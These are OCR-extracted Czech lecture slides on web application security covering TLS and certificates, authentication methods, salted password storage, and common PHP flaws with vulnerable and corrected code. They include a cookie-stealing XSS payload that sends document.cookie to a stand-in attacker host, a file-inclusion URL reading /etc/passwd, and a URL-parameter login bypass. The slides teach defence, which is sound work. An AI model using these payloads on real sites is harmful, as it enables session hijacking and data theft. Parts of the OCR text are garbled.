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Co nas ceka

e Sifrovani prenasenych dat
e autentizace a autorizace uZivateld
e prehled nejcastéjsSich slabych mist v aplikacich



Sifrovani prenasenych dat
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Proc sifrovat

e néktera data jsou skutecné citliva
e on-line bankovnictvi
e komunikace mezi obchodnimi partnery
e vzdaleny pfristup do podnikového IS

e kromé zasifrovani prenosu vétsina technologii nabizi ochranu pred
zameénou komunikujicich stran



Jak se dnes Sifruje

e hybridni systémy - kombinace asymetrickych a symetrickych Sifer

e pro zabezpeceni prenosu se pouziva SSL (Secure Sockets Layer) nebo
TLS (Trasport Layer Security) — protokoly umoznujici zasifrovat cokoliv
na bazi protokolu TCP

e prohlizec si o zabezpecené pripojeni Fekne pomoci specialniho URL ve
tvaru

https://...

e server se s klientem dohodne na kvalité Sifrovani (moznost snizeni
kvality Sifrovani pocitatem mezi klientem a serverem)



Certifikaty a CA

server posila klientovi certifikat

certifikat — spojuje dohromady pocitac s readlné existujici osobou
(fyzickou Ci pravnickou)

certifikat slouzi pro ovéreni totoznosti serveru
certifikdt mUZe mit i klient, ale na webu se to zatim moc nepouZiva

certifikat vydava certifikacni autorita (CA) - ta by méla ovérit skutecnou
identitu zadatele o certifikat

prohlize¢ automaticky vé&fi certifikdtidm od CA, které zna (umi ové&fit
podpis na certifikatu)

ostatni certifikaty je potreba rucné doinstalovat nebo doinstalovat CA,
ktera je vystavila



Autentizace a autorizace uzivatelt
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Zakladni pojmy

autentizace
ovéreni totoznosti

autorizace
ovéreni prav pro vykonani urcité Cinnosti



HTTP autentizace

standardni soucast protokolu HTTP

nelze zménit podobu prihlasovaciho okna

obtizné se resi odhlaseni a automatické odhlaseni po urcité dobé
byva implementovana na Urovni webového serveru

hesla jsou prenasena v nekddované podobé

e bezpecnéjsi metoda Digest se zacina rozSirovat az v posledni dobé



Vlastni autentizace

vyuziva HTML formulare a session proménné

mnohem vétsi flexibilita oproti HTTP - vlastni prihlasovaci stranka,
hesla ulozena na libovolném misté

v session proménné se uchovavaji informace o prihlaseném uzivateli
a o dobé jeho posledniho pristupu

odhlaseni - stadi zrusit session proménnou

automatické odhlaseni - pri kazdém pozadavku se porovnava aktualni
cas s Casem posledniho pristupu (ten je ulozen v session proménné)

pokud klient podporuje JavaScript, Ize pouzit challenge-response
mechanismus (heslo neni prenaseno v odkrytém tvaru)



Klientské certifikaty

e vyuzivd mechanismus SSL/TLS, ale certifikatem se neprokazuije jen
server, ale i uzivatel

e uzivatelsky méné privétivé — uzivatel musi mit na pocitaci k dispozici
O . . 7
svuj certifikat
e vyuziva se v aplikacich, které potrebuji vzbudit zdani vétsi bezpecnosti,
napr. internetové bankovnictvi



OpenlID

e decentralizovany mechanismus pro jednotné pfihlasovani k webovym
aplikacim (single sign on)

e uzivatel pouziva jednotny OpenlID identifikator v mnoha aplikacich
e autentizaci neprovadéji jednotlivé aplikace, ale poskytovatel identity



Ukladani hesel

e aplikace by v zadném pripadé neméla ukladat hesla v odkryté podobé

o ukladani otisku (hashe) hesla nestadi, kvili pfedgenerovanym slovnikim
otisk{

e doporucené je ukladat otisk hesla a ,soli"



Autorizace

e obvykle se resi az na aplikacni Urovni
e pristupova prava byvaji nejcastéji ulozena v néjaké databazi



Nejcastejsi bezpecnostni slabiny aplikaci
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Nekontrolovani vstupu od uzivatele

veskera data ziskana od uzivatele by méla byt pred pouzitim ovérena

musime pocitat s tim, Ze uzivatel omylem udélad chybu nebo se nékdo
zameérné snazi nabourat do aplikace

data je potreba vzdy validovat na strané serveru, protoze kéd bézici
na klientovi mdZe uZivatel ménit (napt. AJAXové aplikace)

data pochazejici od uzivatele (mUze je ménit)

e obsah formularovych poli
e URL adresa pozadavku

e cookies

e HTTP hlavicky

Priklad 1. Ziskani libovolného souboru ze serveru

Predpokladejme, ze mame skript, ktery generuje webové stranky. Obsah
stranky ziska ze zvoleného souboru a k nému doplni standardni hlavicku
a paticku. Jednotlivé stranky se tak volaji pomoci adresy
http://example.org/index.php?page=uvodni.inc.

. standardni hlavicka v HTML ...
<?php

include $ GET["page"];
?>

. standardni paticka ...

Co se stane, kdyz zly uzivatel zada URL ve tvaru
http://example.org/index.php?page=/etc/passwd?

Priklad 2. Spravné reseni s kontrolou dovolenych vstupi

. standardni hlavic¢ka v HTML ...
<?php
if (in_array($_GET["page"], array ("uvod.inc", "cenik.inc", »
"kontakt.inc"))
{
include $ GET["page"];
}
else
{
echo "Pozadovana stranka neexistuje. Pokracujte na
<a href='index.php?page=uvod.inc'>tvodni strance</a>.";



Nekontrolovani vstupu od uzivatele
(Pokracovani)

7>
. standardni paticka ...



Pouziti neinicializovanych proménnych

e nékteré jazyky (napr. starsi verze PHP) automaticky nacitaji data z
pozadavku do proménnych

e data zvnéjsku mohou zménit obsah neinicializované proménné
Piiklad 3. Spatny kod

<?php
if (over prihlaseni()) S$prihlasen = true;

if (Sprihlasen)
{
// proved vefejné nepristupné operace
}
7>

Lze snadno napadnou pridanim ?prihlasen=1 na konec URL adresy
pozadavku.

Priklad 4. Spravny kod

<?php
Sprihlasen = false;
if (over prihlaseni()) $prihlasen = true;

if (Sprihlasen)

// proved verejné nepristupné operace

}

7>

e pro snizeni rizika obdobnych chyb nové verze PHP nenadcitaji data z
vnéjsku (metody GET a POST, cookies) do proménnych, ale jsou
dostupna ve specialnich polich $ GET, $ POST, $ COOKIE apod.



Ochrana session

e jedind 100% spolehliva ochrana je SSL a vypnuté posilani HTTP hlavicky

Referer

e Utok spociva ve Spatné kontrole vstupu a v cross-site skriptovani

Priklad 5. Ziskani session-id prenaseného v URL

1.
2.

na serveru, kde je uzivatel prihlasen, je diskusni forum

utocnik do diskusniho fora prida prispévek s odkazem vedoucim na
jeho server (odkaz musi byt zajimavy, aby zaujal)

. skript na utoCnikové serveru z HTTP hlaviCky Referer ziskd kompletni

URL predchozi stranky vcetné session-id

. pomoci ziskaného session-id se Uto¢nik mudze pfihlasit na server pod

jménem uzivatele a Cist jeho data, zménit heslo, ...

. shizeni rizika:

e vSechny odkazy ve vlozenych prispévcich presmeérovavat pres
pomocnou stranku, ktera jiz v URL nema session-id

e dodatecna kontrola session-id (kontrola shody IP adresy, session-id
se méni pro kazdou stranku)

Priklad 6. Ochrana session-id prenaseného v cookie

. na serveru, kde je uzivatel prihlasen je diskusni forum
. Uto¢nik do diskusniho féra prida prispévek s kusem ]S kédu, ktery Cte

cookie

<script>document.write('<img »
src="http://utocnik.cz/steal?'+document.cookie+'">")</script>

. ito&nikQv skript ziska obsah cookie a mize ji zneuzit
.ochrana:

 jako v predchozim pripadé

e disledna kontrola vstupnich dat, nedovolit zadani HTML a ]S kédu
do prispévku



SQL injection

e skripty ¢asto konstruuji SQL dotaz dynamicky na zakladé vstupl

e vstupy se musi peclivé kontrolovat, aby chybny vstup neumoznil
spusténi libovolného SQL prikazu

Priklad 7. Chybny skript umoznujici SQL injection

Formular obsahuje vstupni pole jmeno pro zadani hledaného jména
<?php

$jmeno = $ GET["jmeno"];
Sspojeni = ODBC Connect ("test", "user", "password");
Svysledek = ODBC Exec($spojeni,

"SELECT * FROM Zamestnanci

WHERE Jmeno LIKE '$jmeno%'

ORDER BY Jmeno");

2>
Priklad 8. Spravné reseni s kontrolou vstupu

Pred predanim dat dotazu se testuje, zda retézec obsahuje jen povolené
znaky

<?php

Sjmeno = $ GET["jmeno"];
if (!ERegl (""[a-zacdééeioorstutiyz]+s" , Sjmeno))
{
echo "Hledany text miZe obsahovat jen pismena.";
exit;
}
Sspojeni = ODBC Connect ("test", "user", "password");
Svysledek = ODBC Exec ($spojeni,
"SELECT * FROM Zamestnanci
WHERE Jmeno LIKE 'S$jmeno%’
ORDER BY Jmeno");

7>



Par slov zavérem

Par slov zaverem



Par slov zaverem



Zdroje informaci
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Dalsi zajimavé zdroje



Povinna cetba

e OWASP Guide to Building Secure Web Applications1
) OpenID2 — distribuovany systém pro autentizaci uZivatelQ

; http://prdownloads.sourceforge.net/owasp/OWASPGuide2.0.1.pdf?download
http://openid.net/


http://prdownloads.sourceforge.net/owasp/OWASPGuide2.0.1.pdf?download
http://openid.net/
http://prdownloads.sourceforge.net/owasp/OWASPGuide2.0.1.pdf?download
http://openid.net/

Dalsi zajimaveé zdroje

e WWW Authentication® - rozsahly ¢lanek o moznostech autentizace na
webu

e Open Web Application Security Project4 —~ popis nejéasté&jdich druht
bezpecnostnich chyb v aplikacich

e Pékna ukazka vyuziti S(gL injection pro nabourani do Spatné
zabezpeceného serveru

3 http://www.seifried.org/security/www-auth/
http://www.owasp.org

> http://web.archive.org/web/20051026171811/http://www.underground.cz/969


http://www.seifried.org/security/www-auth/
http://www.owasp.org
http://web.archive.org/web/20051026171811/http://www.underground.cz/969
http://web.archive.org/web/20051026171811/http://www.underground.cz/969
http://www.seifried.org/security/www-auth/
http://www.owasp.org
http://web.archive.org/web/20051026171811/http://www.underground.cz/969
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